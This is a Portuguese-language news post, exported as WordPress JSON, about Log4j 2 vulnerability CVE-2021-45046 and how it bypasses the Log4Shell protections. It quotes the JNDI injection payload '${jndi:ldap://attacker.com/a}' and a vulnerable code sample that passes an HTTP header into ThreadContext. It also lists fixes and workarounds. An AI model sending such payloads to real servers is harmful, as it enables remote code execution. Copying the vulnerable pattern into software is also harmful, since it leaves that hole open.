{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pt\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Nova variante de ataque ao Log4j 2, permitindo contornar a prote\u00e7\u00e3o adicionada","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Foi descoberta mais uma vulnerabilidade na implementa\u00e7\u00e3o de substitui\u00e7\u00f5es JNDI na biblioteca Log4j 2 (CVE-2021-45046), que se manifesta apesar das corre\u00e7\u00f5es adicionadas na vers\u00e3o 2.15 e independentemente do uso da configura\u00e7\u00e3o «log4j2.noFormatMsgLookup» para prote\u00e7\u00e3o. O problema representa um risco principalmente para vers\u00f5es antigas do Log4j 2 protegidas pelo flag «noFormatMsgLookup», pois permite contornar a prote\u00e7\u00e3o contra a vulnerabilidade anterior (Log4Shell, CVE-2021-44228), que permite a execu\u00e7\u00e3o de c\u00f3digo no servidor. Para usu\u00e1rios da vers\u00e3o 2.15, a explora\u00e7\u00e3o \u00e9 limitada \u00e0 cria\u00e7\u00e3o de condi\u00e7\u00f5es que levam ao encerramento an\u00f4malo do aplicativo devido \u00e0 exaust\u00e3o de recursos dispon\u00edveis. <\/p>\n
A vulnerabilidade se manifesta apenas em sistemas onde as requisi\u00e7\u00f5es de contexto (Context Lookup), como ${ctx:loginId}, ou padr\u00f5es MDC (Thread Context Map), como %X, %mdc e %MDC, s\u00e3o usadas para registro. A explora\u00e7\u00e3o se resume \u00e0 cria\u00e7\u00e3o de condi\u00e7\u00f5es para registrar dados que contenham substitui\u00e7\u00f5es JNDI, ao utilizar nos aplicativos requisi\u00e7\u00f5es de contexto ou padr\u00f5es MDC que definem regras de formata\u00e7\u00e3o para sa\u00edda de log. <\/p>\n
Pesquisadores da empresa LunaSec observaram que para vers\u00f5es do Log4j inferiores a 2.15, essa vulnerabilidade pode ser utilizada como um novo vetor de ataque Log4Shell, resultando na execu\u00e7\u00e3o de c\u00f3digo, se express\u00f5es ThreadContext que incluem dados externos forem usadas na sa\u00edda de log, independentemente da ativa\u00e7\u00e3o do flag «noMsgFormatLookups» ou do padr\u00e3o «%m{nolookups}» para prote\u00e7\u00e3o.
<\/center> <\/p>\n
A contorno da prote\u00e7\u00e3o se d\u00e1 pelo fato de que, em vez de uma substitui\u00e7\u00e3o direta «${jndi:ldap:\/\/attacker.com\/a}», essa express\u00e3o \u00e9 inserida atrav\u00e9s do valor de uma vari\u00e1vel intermedi\u00e1ria utilizada nas regras de formata\u00e7\u00e3o da sa\u00edda de log. Por exemplo, se na sa\u00edda de log estiver sendo usado a consulta de contexto ${ctx:apiversion}, o ataque pode ser realizado atrav\u00e9s da substitui\u00e7\u00e3o dos dados «${jndi:ldap:\/\/attacker.com\/a}» no valor armazenado na vari\u00e1vel apiversion. Exemplo de c\u00f3digo vulner\u00e1vel: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«\/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \/\/ O valor do cabe\u00e7alho HTTP «X-Api-Version» \u00e9 passado para o ThreadContext ThreadContext.put(«apiversion», apiVersion); \/\/ Ao registrar, o valor externo apiversion ser\u00e1 processado atrav\u00e9s da substitui\u00e7\u00e3o ${ctx:apiversion} logger.info(«Recebida uma solicita\u00e7\u00e3o para a vers\u00e3o da API»); return «Ol\u00e1, mundo!»; } <\/p>\n
Na vers\u00e3o Log4j 2.15, a vulnerabilidade pode ser usada para realizar ataques DoS ao passar valores para o ThreadContext que levam \u00e0 repeti\u00e7\u00e3o do processamento do modelo de formata\u00e7\u00e3o de sa\u00edda.
<\/center> <\/p>\n
Para bloquear a vulnerabilidade, foram publicadas atualiza\u00e7\u00f5es 2.16 e 2.12.2. Na vers\u00e3o Log4j 2.16, al\u00e9m das corre\u00e7\u00f5es implementadas na vers\u00e3o 2.15 e a vincula\u00e7\u00e3o das solicita\u00e7\u00f5es JNDI LDAP ao «localhost», a funcionalidade JNDI est\u00e1 completamente desativada por padr\u00e3o e o suporte a templates de mensagens foi removido. Como uma solu\u00e7\u00e3o alternativa de prote\u00e7\u00e3o, foi sugerido remover a classe JndiLookup do classpath (por exemplo, «zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class»). <\/p>\n
Acompanhar a disponibilidade de corre\u00e7\u00f5es em pacotes pode ser feito nas p\u00e1ginas dos distribuidores (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) e dos fabricantes de plataformas Java (GitHub, Docker, Oracle, vmWare, Broadcom, Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.). \n Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Nova](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"Nova](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n